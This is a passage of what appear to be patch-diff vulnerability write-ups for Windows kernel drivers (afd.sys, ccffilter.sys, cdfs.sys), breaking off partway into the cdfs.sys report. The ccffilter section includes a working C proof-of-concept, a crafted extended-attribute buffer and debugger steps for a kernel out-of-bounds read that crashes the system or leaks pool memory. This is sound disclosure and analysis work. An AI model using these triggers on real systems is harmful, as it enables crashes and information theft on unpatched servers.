00000001C0064329  mov     rcx, rbp                             ; Dst
00000001C006432C  call    memmove                              ; clamped in every path
00000001C0064331  mov     [r15+rbp-2], bx

Every path to the memmove at 0x1C006432C passes through one of the two clamps.

4.3 `AfdQueryHandles` — Unpatched AccessMode selection (first `ObOpenObjectByPointer`)

r15d is zeroed in the prologue (0x1C0031B96 xor r15d, r15d) and sil = movzx(arg3) is the caller's processor mode.

00000001C0031CBF  lea     rcx, g_Feature_3932725563_57984164_FeatureDescriptorDetails
00000001C0031CC6  call    EvaluateCurrentState
00000001C0031CCB  test    eax, eax
00000001C0031CCD  jz      short loc_1C0031CE0                  ; feature off -> below
00000001C0031CD9  mov     [rsp+88h+AccessMode], sil            ; feature on: caller mode
00000001C0031CDE  jmp     short loc_1C0031CFE
00000001C0031CE0  test    dword ptr [rbx+10h], 10000h
00000001C0031CE7  movsx   eax, sil
00000001C0031CEB  jnz     short loc_1C0031CF0                  ; flag set -> caller mode
00000001C0031CED  mov     eax, r15d                            ; else AccessMode = 0 (KernelMode)
00000001C0031CFA  mov     [rsp+88h+AccessMode], al
...
00000001C0031D0D  mov     r9d, 2000000h                        ; DesiredAccess = ACCESS_SYSTEM_SECURITY
00000001C0031D1A  mov     rcx, [rbx+18h]                       ; Object (address-object file object)
00000001C0031D1E  call    cs:__imp_ObOpenObjectByPointer

Patched equivalent (0x1C0031B70): the feature-state call and the 0x10000 test are gone, and both open sites use the caller's mode directly:

00000001C0031CBE  mov     [rsp+88h+AccessMode], sil            ; always caller mode
00000001C0031CD2  mov     r9d, 2000000h
00000001C0031CDF  call    cs:__imp_ObOpenObjectByPointer

(AccessMode is the sixth ObOpenObjectByPointer argument, passed on the stack; r9d here is DesiredAccess.)

4.4 `AfdTdiCreateAO` — Unpatched AccessMode selection

edi is 0 on this path and r12d = 0x2000000 (0x1C003A4C5 mov r12d, 2000000h).

00000001C003A5A7  lea     rcx, g_Feature_3932725563_57984164_FeatureDescriptorDetails
00000001C003A5AE  call    EvaluateCurrentState
00000001C003A5B3  test    eax, eax
00000001C003A5B5  jz      short loc_1C003A5C0
00000001C003A5B7  mov     al, [rsp+4B8h+AccessMode]            ; feature on: caller mode
00000001C003A5BE  jmp     short loc_1C003A5D3
00000001C003A5C0  test    dword ptr [rsi+10h], 10000h
00000001C003A5C7  movsx   eax, [rsp+4B8h+AccessMode]
00000001C003A5CF  jnz     short loc_1C003A5D3                  ; flag set -> caller mode
00000001C003A5D1  mov     eax, edi                             ; else AccessMode = 0 (KernelMode)
00000001C003A5D8  mov     byte ptr [rsp+4B8h+EcpContext], al   ; AccessMode
...
00000001C003A5EB  mov     r9d, r12d                            ; DesiredAccess = 0x2000000
00000001C003A5F8  call    cs:__imp_ObOpenObjectByPointer

Patched (0x1C0039CF8): the feature-state call and 0x10000 test are removed; AccessMode comes straight from the stacked caller mode.

4.5 `AfdCreateConnection` — Patched device-stack check

00000001C0048263  mov     rcx, [rbx+18h]                       ; connection DeviceObject
00000001C0048267  call    cs:__imp_IoGetDeviceAttachmentBaseRef
00000001C004826D  mov     rcx, rdi                             ; caller-supplied FileObject
00000001C0048270  mov     rsi, rax
00000001C0048273  call    cs:__imp_IoGetRelatedDeviceObject
00000001C004827C  call    cs:__imp_IoGetDeviceAttachmentBaseRef
00000001C0048285  cmp     rsi, rax                             ; base(connection) vs base(handle)
00000001C0048288  jz      short loc_1C00482C1                  ; match -> proceed
...
00000001C00482B7  mov     eax, 0C000000Dh                      ; STATUS_INVALID_PARAMETER
...
00000001C00482F5  call    AfdIssueDeviceControl                ; only reached on match

The unpatched AfdCreateConnection contains no IoGetDeviceAttachmentBaseRef call and reaches AfdIssueDeviceControl without this comparison.

5. Trigger Conditions (SuperAccept OOB)

The reachable path to AfdRestartSuperAcceptGetAddress, as present in the binary:

From user mode, create a listening TCP socket (socket/bind/listen) over the AFD endpoint.
Issue the SuperAccept operation via NtDeviceIoControlFile on the AFD endpoint, supplying the accept output buffer that receives the peer address.
A peer connects; the transport completes the accept IRP.
AFD's restart path runs AfdContinueSuperAccept → AfdRestartSuperAcceptGetAddress, which maps the completion buffer, computes size = AddressLength + 2, and (on the unpatched flag-off path) calls memmove(buffer, buffer + 0xa, size) without clamping size.

The out-of-bounds condition requires the AddressLength field in the mapped completion buffer to exceed MDL->ByteCount - offset. The AddressLength value is read from the transport-filled buffer via the MDL mapping. A demonstrable attacker-controlled route to an oversized value could not be established from the two binaries alone; the verified fact is the absence of any length bound on the flag-off path in the unpatched build.

6. Impact Assessment

The change in AfdRestartSuperAcceptGetAddress is a length-bounding fix on a kernel-mode memmove. On the unpatched flag-off path the copy length is bounded only by the 16-bit AddressLength field (maximum 0x10001), so a value larger than the mapped buffer produces an out-of-bounds write to the destination and an out-of-bounds read from the source, both in kernel context. That is the primitive established by the binaries: an unbounded intra-kernel copy length.

No exploit primitive beyond that (pool grooming, adjacent-object corruption, arbitrary read/write, token replacement, or mitigation bypass) is demonstrable from the two binaries, and none is claimed here. Severity is assessed as HIGH on the basis of a kernel-mode out-of-bounds read/write whose bound was skippable in the unpatched default path and is unconditional after the patch.

The AfdQueryHandles / AfdTdiCreateAO changes remove a KernelMode open of the caller's own transport file objects with ACCESS_SYSTEM_SECURITY; the impact is that the SeSecurityPrivilege and security-descriptor checks were skipped for those opens. The AfdCreateConnection change adds validation that a caller-supplied handle belongs to the connection's device stack before a device control is issued through it.

7. Verification Aids

7.1 `AfdRestartSuperAcceptGetAddress`

Real addresses to observe (unpatched image base 0x1C0000000):

Address	Instruction	Purpose
`0x1C00641C0`	function entry	inspect the IRP (`rdx`) and completion context (`rsi = [rdx+0xB8]`)
`0x1C00642CF`	`movzx edi, word [rbp+8]`	the `AddressLength` read; `rbp = MappedSystemVa + offset`
`0x1C00642DE`	`jz 0x1C00642F9`	branch that skips the clamp when the feature flag is off
`0x1C0064304`	`call memmove`	the copy; `r8d = size`, `rcx = dst = rbp`, `rdx = src = rbp+0xa`

Relevant MDL field: MDL+0x28 = ByteCount (the value the disabled clamp would have used). Compare size at 0x1C0064304 against ByteCount - offset to observe whether the copy exceeds the mapped buffer.

7.2 `AfdQueryHandles` / `AfdTdiCreateAO`

AfdQueryHandles 0x1C0031B70; feature-state call at 0x1C0031CC6; KernelMode assignment at 0x1C0031CED (mov eax, r15d, r15d = 0); ObOpenObjectByPointer at 0x1C0031D1E and 0x1C0031DEA. Inspect the stacked AccessMode argument (sixth parameter) at the call: 0 on the vulnerable path, caller mode after the patch.
AfdTdiCreateAO 0x1C0039D88 (unpatched); feature-state call at 0x1C003A5AE; KernelMode assignment at 0x1C003A5D1 (mov eax, edi, edi = 0); ObOpenObjectByPointer at 0x1C003A5F8. DesiredAccess is 0x02000000 (ACCESS_SYSTEM_SECURITY) at both sites.

7.3 `AfdCreateConnection`

Patched device check at 0x1C0048263–0x1C0048288; mismatch returns STATUS_INVALID_PARAMETER at 0x1C00482B7; AfdIssueDeviceControl at 0x1C00482F5. Set a breakpoint on nt!IoGetDeviceAttachmentBaseRef to observe the two base-device queries in the patched build; they are absent in the unpatched routine.

8. Changed Functions — Full Triage

Security-relevant

AfdRestartSuperAcceptGetAddress — similarity 0.9295. HIGH. Flag-gated length clamp made unconditional (and tightened to IoStatus.Information - 0xa); see §2.1.
AfdQueryHandles — similarity 0.9012. MEDIUM. Removes conditional AccessMode = KernelMode for two ObOpenObjectByPointer opens; see §2.2.
AfdTdiCreateAO — similarity 0.9723. MEDIUM. Same AccessMode pattern in the address-object creation path; see §2.3.
AfdCreateConnection — similarity 0.8395. MEDIUM (hardening). Adds IoGetDeviceAttachmentBaseRef device-stack match before AfdIssueDeviceControl; see §2.4.

Servicing feature-flag teardown (no security-relevant logic delta)

AfdExtractAfdSendMsgInfo — similarity 0.966. The unpatched build gates a size/source validation behind g_Feature_Servicing_AudioVideoStutteringIssue_58996271 (when the flag is on, the check is skipped). The patched build removes the flag and instead validates unconditionally: it acquires the queued spinlock and requires Size == *(endpoint + 0x94), returning STATUS_INVALID_PARAMETER (0xC000000D) on mismatch before the memmove at 0x1C000B3CF. The subsequent memmove sites and their AfdUserProbeAddress probes are unchanged. This is an always-on validation, not a removed one; no security regression. r15 is reallocated to r14.
AfdSuperAccept — similarity 0.9796. Removes the EvaluateCurrentState(&g_Feature_1487976763_57832072) gate; the STATUS_BUFFER_TOO_SMALL (0xC0000023) reject path itself remains in the patched build. Register and stack layout changes only. No security impact.

9. Unmatched Functions

None. Both removed and added are empty — every change is inside an existing function; no helper or sanitiser was introduced or removed at function granularity.

10. Confidence & Caveats

The AfdRestartSuperAcceptGetAddress change is verified directly against both builds: the unpatched clamp is behind jz 0x1C00642F9 at 0x1C00642DE, gated on EvaluateCurrentState(&g_Feature_4201696571_57655968); the patched build clamps in both branches of g_Feature_499346745_59190809 and reaches the memmove at 0x1C006432C only after a clamp. Whether an attacker can drive AddressLength past the buffer bound is not established from the binaries; the severity reflects a kernel-mode out-of-bounds copy whose bound was skippable by default.
The AfdQueryHandles / AfdTdiCreateAO findings are verified: the KernelMode (0) assignment is present on the feature-off, flag-clear path in the unpatched build (0x1C0031CED, 0x1C003A5D1) and removed in the patched build. DesiredAccess is 0x02000000 (ACCESS_SYSTEM_SECURITY) at all sites; the affected objects are the caller's own socket's transport file objects.
The AfdCreateConnection finding is a hardening fix: the patched build adds the IoGetDeviceAttachmentBaseRef device-stack comparison (0x1C0048263–0x1C0048288); the unpatched routine has no such check.
Default state of the named servicing feature flags is configuration-dependent and cannot be read from the binaries. The findings are stated in terms of the code path that runs when each flag is off.

ccffilter.sys — Out-of-bounds read due to inverted bounds check (CWE-125, CWE-697) in CCFFilterAppInstanceEA fixed

2026-06-25T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`ccffilter_unpatched.sys`
Patched binary	`ccffilter_patched.sys`
Overall similarity	0.9931
Matched functions	85
Changed functions	1
Identical functions	84
Unmatched (either direction)	0

Verdict: A single-byte patch in CCFFilterAppInstanceEA flips an inverted bounds check (jb → ja) at 0x1c00099f7. The unpatched driver mis-validates the EaValueLength field of a FILE_FULL_EA_INFORMATION entry named ClusteredApplicationInstance, enabling an out-of-bounds read of up to 20 bytes from kernel pool memory on any NtCreateFile issued against a Cluster Shared Volume.

2. Vulnerability Summary

Finding #1 — Inverted bounds check → kernel OOB read

Severity: High
Class: Out-of-bounds read due to incorrect comparison (CWE-125 / CWE-697)
Affected function: ccffilter_unpatched!CCFFilterAppInstanceEA @ 0x1c000990c
Patched instruction: 0x1c00099f7 — opcode 0F 82 (jb) → 0F 87 (ja)

Root cause. The minifilter walks the EA chain supplied with an IRP_MJ_CREATE looking for an EA named ClusteredApplicationInstance. When found, it expects the EA's value to be either a 16-byte GUID (EaValueLength == 0x10) or a 20-byte GUID+version structure (EaValueLength >= 0x14). For the 20-byte case, the function loads eax = 0x14, compares it against EaValueLength (in dx), and is supposed to bail out to an error path (STATUS 0xC0000053) whenever EaValueLength < 0x14. Instead, the branch is jb ("jump if 0x14 below EaValueLength"), which only sends values greater than 0x14 to the error path. Every value from 0x00–0x0F and 0x11–0x13 falls through to two unconditional reads — a 16-byte movups and a 4-byte mov dword — that pull 20 bytes from a buffer the attacker sized arbitrarily small. The patch replaces jb with ja, restoring the intended semantics.

Attacker-reachable entry point & call chain.

Attacker (any user with permission to open a path on a CSV-managed volume) calls NtCreateFile / CreateFileW with an EaBuffer containing a crafted EA.
The I/O Manager builds an IRP_MJ_CREATE and routes it down the filter stack.
FltMgr dispatches the IRP to CCFPreCreate (Pre-op callback for IRP_MJ_CREATE) @ 0x1c00078c5.
CCFPreCreate calls CCFFilterAppInstanceEA(&EaBuffer, &EaLength, …, &GuidOut, &VersionOut, …).
CCFFilterAppInstanceEA walks the EA list, matches ClusteredApplicationInstance via strncmp, and executes the buggy check at 0x1c00099f7.
The 20-byte OOB read writes 16 bytes into the output GUID (r14) and 4 bytes into a version output. Back in CCFPreCreate, the 16 leaked GUID bytes are copied into a GUID_ECP_NETWORK_APP_INSTANCE extra create parameter — allocated by FltAllocateExtraCreateParameter at 0x1c0007ac2, filled at 0x1c0007b90 (movdqu [ecp+4], xmm0 from the GUID buffer), and attached to the create via CCFAddEcpToCreate at 0x1c0007baa.

3. Pseudocode Diff

// After strncmp matched EA name "ClusteredApplicationInstance":
uint16_t ea_value_len = ea->EaValueLength;   // from [rbx+6]

if (ea_value_len == 0x10) {                  // 16-byte GUID-only format — correct
    memcpy(guid_out, &ea->EaName[ea->EaNameLength + 1], 16);
    *version_out = 0;
    goto done;
}

// ---- UNPATCHED (buggy) ----
if (0x14 < ea_value_len) {                   // BUG: rejects only len > 0x14
    goto err_status_c0000053;                 //      -> values < 0x14 fall through!
}
// 20-byte read path reached with len < 0x14 -> OOB read of up to 20 bytes
memcpy(guid_out,    &ea->EaName[ea->EaNameLength + 1],   16); // OOB
*version_out = *(uint32_t *)&ea->EaName[ea->EaNameLength + 17]; // OOB
goto done;

// ---- PATCHED (correct) ----
if (0x14 > ea_value_len) {                   // FIX: rejects len < 0x14
    goto err_status_c0000053;
}
memcpy(guid_out,    &ea->EaName[ea->EaNameLength + 1],   16); // safe
*version_out = *(uint32_t *)&ea->EaName[ea->EaNameLength + 17]; // safe

The semantics flip is the entire bug. 0x14 < ea_value_len (unpatched) accepts the dangerous range 0 ≤ len ≤ 0x14; 0x14 > ea_value_len (patched) correctly rejects it.

4. Assembly Analysis

Vulnerable function — `CCFFilterAppInstanceEA` (unpatched, full annotated listing)

; ===== Prologue =====
0x1c000990c: mov     rax, rsp
0x1c000990f: mov     qword [rax+0x8],  rbx
0x1c0009913: mov     qword [rax+0x10], rbp
0x1c0009917: mov     qword [rax+0x18], rsi
0x1c000991b: mov     qword [rax+0x20], rdi
0x1c000991f: push    r12
0x1c0009921: push    r14
0x1c0009923: push    r15
0x1c0009925: sub     rsp, 0x30
0x1c0009929: mov     rbx, qword [rcx]      ; rbx = *arg1 = first FILE_FULL_EA_INFORMATION*
0x1c000992c: xor     edi, edi              ; rdi = 0 (status = STATUS_SUCCESS)
0x1c000992e: mov     r15d, edi
0x1c0009931: mov     ebp, edi
0x1c0009933: mov     sil, dil
0x1c0009936: mov     r14, r9               ; r14 = arg4 (output GUID buffer)
0x1c0009939: mov     r12, rdx              ; r12 = arg2 (EaLength pointer)

; ===== WPP tracing (skipped) =====
0x1c000993c: mov     rcx, qword [rel 0x1c0004088]
0x1c0009943: lea     rax, [rel 0x1c0004088]
0x1c000994a: cmp     rcx, rax
0x1c000994d: je      0x1c0009968

; ===== EA NAME COMPARISON LOOP =====
0x1c0009968: movzx   r8d, byte [rbx+0x5]             ; r8d = EaNameLength  <-- attacker-controlled
0x1c000996d: lea     rcx, [rbx+0x8]                  ; rcx = EaName
0x1c0009971: lea     rdx, [rel 0x1c00032a8]          ; rdx = "ClusteredApplicationInstance"
0x1c0009978: call    qword [rel 0x1c00060e0]         ; strncmp(EaName, "...", EaNameLength)
                                                     ; NOTE: EaNameLength=0 => trivial match
0x1c000997f: nop
0x1c0009984: test    eax, eax
0x1c0009986: je      0x1c000999c                     ; if match, process EA value

; no match -> walk NextEntryOffset
0x1c0009988: mov     eax, dword [rbx]
0x1c000998a: test    eax, eax
0x1c000998c: je      0x1c0009ad5                     ; end of list
0x1c0009992: add     ebp, eax
0x1c0009994: mov     r15, rbx
0x1c0009997: add     rbx, rax
0x1c000999a: jmp     0x1c0009968

; ===== EA VALUE SIZE CHECK =====
0x1c000999c: movzx   edx, word [rbx+0x6]             ; edx = EaValueLength (16-bit at +6)
0x1c00099a0: mov     eax, 0x10
0x1c00099a5: cmp     ax, dx
0x1c00099a8: jne     0x1c00099ef                     ; !=0x10 -> 20-byte check

; --- 16-byte GUID path (safe) ---
0x1c00099aa: movzx   eax, byte [rbx+0x5]
0x1c00099ae: movups  xmm0, xmmword [rax+rbx+0x9]
0x1c00099b3: movdqu  xmmword [r14], xmm0
; ... (set *arg5 = 0, WPP, jmp cleanup) ...

; ===== THE VULNERABLE CHECK =====
0x1c00099ef: mov     eax, 0x14                       ; eax = 20
0x1c00099f4: cmp     ax, dx                          ; 0x14 vs EaValueLength
0x1c00099f7: jb      0x1c0009aa0                     ; *** BUG: 0F 82 (jb) ***
;                                                     ;     UNPATCHED: error only if 0x14 < EaValueLength
;                                                     ;     PATCHED  : 0F 87 (ja) -> error if 0x14 > EaValueLength

; --- Fall-through: 20-byte read (VULNERABLE when EaValueLength < 0x14) ---
0x1c00099fd: movzx   eax, byte [rbx+0x5]             ; eax = EaNameLength
0x1c0009a01: movups  xmm0, xmmword [rax+rbx+0x9]     ; *** OOB READ #1: 16 bytes ***
0x1c0009a06: movdqu  xmmword [r14], xmm0             ;     -> stored to output GUID (arg4)
0x1c0009a0b: mov     edx, dword [rax+rbx+0x19]       ; *** OOB READ #2: 4 bytes at +0x10 ***
0x1c0009a0f: mov     rax, qword [rsp+0x70]           ; rax = arg5 (version out)
0x1c0009a14: mov     dword [rax], edx                ;     -> stored to output version
; ... (WPP, jmp cleanup) ...

; ===== Error path =====
0x1c0009aa0: mov     edi, 0xc0000053                 ; STATUS_INVALID_EA_NAME / EA error

; ===== Shared cleanup: zero-GUID check + compact EA list =====
0x1c0009a48: mov     rax, qword [r14]
0x1c0009a4b: sub     rax, qword [rel 0x1c0003320]
0x1c0009a52: jne     0x1c0009a5f
0x1c0009a54: mov     rax, qword [r14+0x8]
0x1c0009a58: sub     rax, qword [rel 0x1c0003328]
0x1c0009a5f: test    rax, rax
0x1c0009a62: mov     rax, qword [rsp+0x80]           ; arg7
0x1c0009a6a: setz    cl
0x1c0009a6d: mov     byte [rax], cl
0x1c0009a6f: mov     eax, dword [rbx]
0x1c0009a71: test    eax, eax
0x1c0009a73: jne     0x1c0009a86
0x1c0009a75: mov     dword [r12], ebp
0x1c0009a79: test    r15, r15
0x1c0009a7c: je      0x1c0009a81
0x1c0009a7e: mov     dword [r15], edi
0x1c0009a81: mov     sil, 0x1
0x1c0009a84: jmp     0x1c0009ad5
0x1c0009a86: sub     dword [r12], eax
0x1c0009a8a: mov     rcx, rbx
0x1c0009a8d: mov     r8d, dword [r12]
0x1c0009a91: mov     edx, dword [rbx]
0x1c0009a93: sub     r8d, ebp
0x1c0009a96: add     rdx, rbx
0x1c0009a99: call    memmove                         ; compact remaining EAs

; ===== Epilogue =====
0x1c0009ad5: mov     rcx, qword [rel 0x1c0004088]
; ... WPP ...
0x1c0009b17: mov     rcx, qword [rsp+0x78]           ; arg6
0x1c0009b1c: mov     eax, edi
0x1c0009b1e: mov     rbx, qword [rsp+0x50]
0x1c0009b23: mov     rbp, qword [rsp+0x58]
0x1c0009b28: mov     rdi, qword [rsp+0x68]
0x1c0009b2d: mov     byte [rcx], sil                 ; *arg6 = found flag
0x1c0009b30: mov     rsi, qword [rsp+0x60]
0x1c0009b35: add     rsp, 0x30
0x1c0009b39: pop     r15
0x1c0009b3b: pop     r14
0x1c0009b3d: pop     r12
0x1c0009b3f: retn

Patch diff — the single-byte change

- 0x1c00099f7: 0F 82 A3 00 00 00    jb  0x1c0009aa0   ; only errors when EaValueLength > 0x14
+ 0x1c00099f7: 0F 87 A3 00 00 00    ja  0x1c0009aa0   ; correctly errors when EaValueLength < 0x14

That is the entire patch. Everything else — function layout, register usage, the OOB movups/mov dword reads — is byte-for-byte identical.

5. Trigger Conditions

Reach the filter. The target file must live on a volume managed by ccffilter.sys (Windows Server Failover Clustering / Cluster Shared Volumes). The driver must be loaded (sc query ccffilter / lm ccffilter).
Issue a create with an EA buffer. From user mode, call NtCreateFile (or CreateFileW with FILE_FLAG_BACKUP_SEMANTICS) targeting a path on the CSV volume. Provide the EaBuffer / ExtendedAttributes argument.
Construct a malicious EA entry. A single FILE_FULL_EA_INFORMATION:
NextEntryOffset = 0
Flags = 0
EaNameLength = 0x1C (length of "ClusteredApplicationInstance")
EaValueLength ∈ {0x00–0x0F, 0x11–0x13} — must not equal 0x10 and must be less than 0x14. 0x01 is the easiest.
EaName = "ClusteredApplicationInstance\0"
EaValue = <single byte> (e.g. 0x41)
Size the buffer tight. Total entry size with the values above = 8 + 29 + 1 = 38 bytes. Pass EaLength = 38. The tightest variant is the strncmp bypass: set EaNameLength = 0, EaName = "\0", EaValueLength = 1, total = 10 bytes. The 20-byte read then extends 11+ bytes past the buffer.
No race, no ordering constraint. A single threaded NtCreateFile is sufficient.
Confirmation. Two observable outcomes:
DoS: BSOD with PAGE_FAULT_IN_NONPAGED_AREA / BUGCODE if the 20-byte read crosses into an unmapped page (highly likely when the EA buffer sits at the end of a pool page).
Info leak: Create proceeds and the 16 leaked GUID bytes are copied into a GUID_ECP_NETWORK_APP_INSTANCE extra create parameter (allocated by FltAllocateExtraCreateParameter, attached via CCFAddEcpToCreate) on the create IRP. The bytes cross a kernel trust boundary into an attacker-influenced create; whether an unprivileged caller can read the ECP contents back is not demonstrated here.

6. Exploit Primitive & Development Notes

Primitive

Controlled OOB read of up to 20 bytes from kernel pool, with attacker-chosen distance (via EaNameLength and EaValueLength) but not attacker-chosen base (whatever allocation the EA buffer happens to land adjacent to).
Info exposure: the 16-byte OOB portion is copied into a GUID_ECP_NETWORK_APP_INSTANCE ECP attached to the create; the 4-byte version portion is written to a separate local output. This moves adjacent pool bytes across a kernel trust boundary, but attacker-side retrieval of the ECP is not demonstrated.
Reliable BSOD: achievable by placing the EA buffer at the end of a page whose neighbor is unmapped so the 20-byte read faults.

Notes

EaNameLength = 0 match: the strncmp(EaName, "ClusteredApplicationInstance", EaNameLength) call returns 0 for n = 0, so the EA only needs the 8-byte header + 1 null + 1 value byte. This is the minimum entry and maximizes the OOB distance.
Read-only. The bug reads out of bounds only; it is not a write primitive and does not itself yield code execution.

Preconditions

CSV / Failover Clustering being enabled is a precondition; on systems without the cluster role installed, ccffilter.sys is not loaded and the bug is unreachable.

7. Debugger PoC Playbook

Assume WinDbg/KD attached to a kernel running ccffilter_unpatched.sys, with symbols resolved (.reload /f ccffilter.sys then lm ccffilter to get the runtime base; add the base to each offset below).

Breakpoints

bp ccffilter_unpatched!CCFPreCreate+0x165         ; 0x1c00078c5 — call site into vulnerable func
bp ccffilter_unpatched!CCFFilterAppInstanceEA     ; 0x1c000990c — function entry
bp ccffilter_unpatched!CCFFilterAppInstanceEA+0xeb ; 0x1c00099f7 — the buggy jb/ja branch
bp ccffilter_unpatched!CCFFilterAppInstanceEA+0xf5 ; 0x1c0009a01 — first OOB movups read

What to inspect

Stop	Register / memory	Why
`0x1c00078c5` (`CCFPreCreate+0x165`)	`rcx` → `&Iopb->Parameters.Create.EaBuffer`; `rdx` → `&Iopb->Parameters.Create.EaLength`	Confirm attacker EA chain is wired through; `dq poi(rcx)` to dump the first EA entry.
`0x1c000990c` (entry)	`rcx` = arg1 → points to EA ptr (becomes `rbx`); `r9` = arg4 = output GUID; `[rsp+0x28]` = arg5 = output version	Identify output sinks; `db poi(rcx) L40` to see the crafted EA.
`0x1c00099f7` (the patch byte)	`ax` = `0x14`, `dx` = `EaValueLength` from `[rbx+6]`	Watch whether the branch is taken. Unpatched with `dx = 0x0001`: `0x14 < 0x0001` is false, so `jb` is not taken → bug fires.
`0x1c0009a01` (first OOB read)	`rax` = `EaNameLength` from `[rbx+5]`; `rbx` = current EA base	Effective address = `rbx + rax + 9`. Compare to the end of the pool allocation (`!pool rbx`) to confirm how far past the buffer the read goes.
Post-execution	`r14` (output GUID), `[rsp+0x70]` (output version ptr)	`db r14 L10` and `dd poi(rsp+70) L1` reveal the leaked bytes.

Key offsets (add module base)

Offset	Instruction	Meaning
`+0xeb` (`0x1c00099f7`)	`0F 82 …` (unpatched) / `0F 87 …` (patched)	The patched byte.
`+0x90` (`0x1c000999c`)	`movzx edx, word [rbx+6]`	Loads `EaValueLength`.
`+0x9c` (`0x1c00099a8`)	`jne 0x1c00099ef`	Splits `0x10` (GUID-only) path from `0x14` path.
`+0xf5` (`0x1c0009a01`)	`movups xmm0, [rax+rbx+9]`	First OOB read (16 B).
`+0xff` (`0x1c0009a0b`)	`mov edx, [rax+rbx+0x19]`	Second OOB read (4 B).
`+0x194` (`0x1c0009aa0`)	`mov edi, 0xC0000053`	Error path (taken incorrectly in unpatched).

Trigger setup (from user mode)

// Minimal PoC sketch ( SetLastError / NtCreateFile details omitted )
typedef struct _FILE_FULL_EA_INFORMATION {
    ULONG  NextEntryOffset;
    UCHAR  Flags;
    UCHAR  EaNameLength;
    USHORT EaValueLength;
    CHAR   EaName[1];   // followed by EaValue
} FILE_FULL_EA_INFORMATION;

UCHAR buf[38] = { 0 };
FILE_FULL_EA_INFORMATION *ea = (FILE_FULL_EA_INFORMATION*)buf;
ea->NextEntryOffset  = 0;
ea->Flags            = 0;
ea->EaNameLength     = 0x1C;                      // "ClusteredApplicationInstance"
ea->EaValueLength    = 0x01;                      // *** triggers bug (1 < 0x14, != 0x10) ***
memcpy(ea->EaName,   "ClusteredApplicationInstance", 28);
ea->EaName[28]       = '\0';
ea->EaName[29]       = 0x41;                      // 1-byte EaValue

UNICODE_STRING     path  = RTL_CONSTANT_STRING(L"\\??\\C:\\ClusterStorage\\Volume1\\x");
OBJECT_ATTRIBUTES  oa; InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK    iosb;
HANDLE             h;
NtCreateFile(&h, FILE_READ_DATA, &oa, &iosb, NULL, 0,
             FILE_SHARE_READ|FILE_SHARE_WRITE, FILE_OPEN,
             0, buf, sizeof(buf));                // <-- EaBuffer + EaLength

For the maximum-OOB variant, set EaNameLength = 0, EaName = "\0", EaValueLength = 1, total buffer = 10 bytes.

Expected observation

At +0xeb with crafted input: dx = 0x0001, ax = 0x0014. Single-step — jb is not taken. Execution proceeds to +0xf5.
At +0xf5: !pool rbx shows the allocation; the effective address rbx + rax + 9 lies beyond the allocation. movups reads 16 bytes, then mov edx, [rax+rbx+0x19] reads 4 more.
If the read crosses into an unmapped page: BSOD with PAGE_FAULT_IN_NONPAGED_AREA (faulting address near rbx + rax + 9).
If the read succeeds: the leaked bytes are observable at r14 (GUID) and [rsp+0x70] (version), and propagate into the create IRP's ECP list.

Struct / offset notes

FILE_FULL_EA_INFORMATION layout (offsets from EA entry base):

Offset	Size	Field
`+0x00`	4	`NextEntryOffset`
`+0x04`	1	`Flags`
`+0x05`	1	`EaNameLength`
`+0x06`	2	`EaValueLength`
`+0x08`	var	`EaName` (NUL-terminated)
`+0x08 + EaNameLength + 1`	var	`EaValue`

The vulnerable reads reference [rbx + EaNameLength + 9] (= start of EaValue) and [rbx + EaNameLength + 0x19] (= EaValue + 0x10).

8. Changed Functions — Full Triage

Only one function differs between the binaries; it is security-relevant.

Function	Similarity	Change type	Note
`CCFFilterAppInstanceEA`	0.9922	Security-relevant (single-byte logic flip)	Bounds check at `+0xeb` reversed from `jb` to `ja`, fixing the inverted `EaValueLength` validation that allowed a 20-byte OOB read on `ClusteredApplicationInstance` EA values smaller than 0x14 bytes.

No other functions changed. No cosmetic-only / register-allocation noise.

9. Unmatched Functions

None. unmatched_unpatched = 0, unmatched_patched = 0. No sanitizers were removed and no new mitigation helpers were added; the patch is purely the conditional-branch inversion inside CCFFilterAppInstanceEA.

10. Confidence & Caveats

Confidence: High. The diff is a single byte (0F 82 → 0F 87), the semantic effect on the surrounding cmp ax, dx is unambiguous, and the OOB reads immediately downstream are confirmed by the assembly listing.
Assumptions:
The strncmp import at [rel 0x1c00060e0] (resolved to ntoskrnl!strncmp) follows the C standard (n = 0 returns 0).
The call chain CCFPreCreate → CCFFilterAppInstanceEA is a direct call at 0x1c00078c5; the argument setup (&EaBuffer from Iopb+0x38, &EaLength from Iopb+0x30, &GuidOut = local, version/flag outputs) is visible at the call site.
Addresses are stated as static RVAs/offsets (e.g. 0x1c00099f7); at runtime, ASLR rebases ccffilter.sys. Resolve the base first via lm ccffilter.
Manual verification before PoC:
Confirm ccffilter.sys is loaded and attached to a CSV volume on the target system.
Disassemble 0x1c00099f7 to verify the opcode is 0F 82 (unpatched) vs 0F 87 (patched).
Verify the EA-matching strncmp semantics with a EaNameLength = 0 test case.
Validate pool layout (!pool, !poolused) to predict whether the OOB read faults or discloses data.
If pursuing the disclosure primitive, hook FltAllocateExtraCreateParameter (0x1c0007ac2) / CCFAddEcpToCreate (0x1c0007baa) to capture the leaked bytes from the ECP.

cdfs.sys — integer overflow leading to kernel pool buffer overflow (CWE-190, CWE-122) in CdAddAllocationFromDirent fixed

2026-06-25T00:00:00-07:00

Overview

Unpatched Binary: cdfs_unpatched.sys
Patched Binary: cdfs_patched.sys
Overall Similarity Score: 0.9924
Diff Statistics:
Matched Functions: 210
Changed Functions: 3
Identical Functions: 207
Unmatched (Unpatched): 0
Unmatched (Patched): 0
Verdict: The patch resolves an integer overflow vulnerability in the Windows CD-ROM File System driver (cdfs.sys) that allows a crafted ISO image to trigger a kernel pool buffer overflow. The demonstrable, reachable impact is kernel memory corruption resulting in a system crash (BSOD / Denial of Service). Reliable privilege escalation is not demonstrated: the overflow is an unbounded, multi-gigabyte linear copy that cannot be groomed and requires the driver to first succeed at a multi-gigabyte pool allocation.

2. Vulnerability Summary

Severity: High
Vulnerability Class: Integer Overflow leading to Kernel Pool Buffer Overflow (CWE-190 / CWE-122; the out-of-bounds copy is also CWE-787)
Affected Function: CdAddAllocationFromDirent

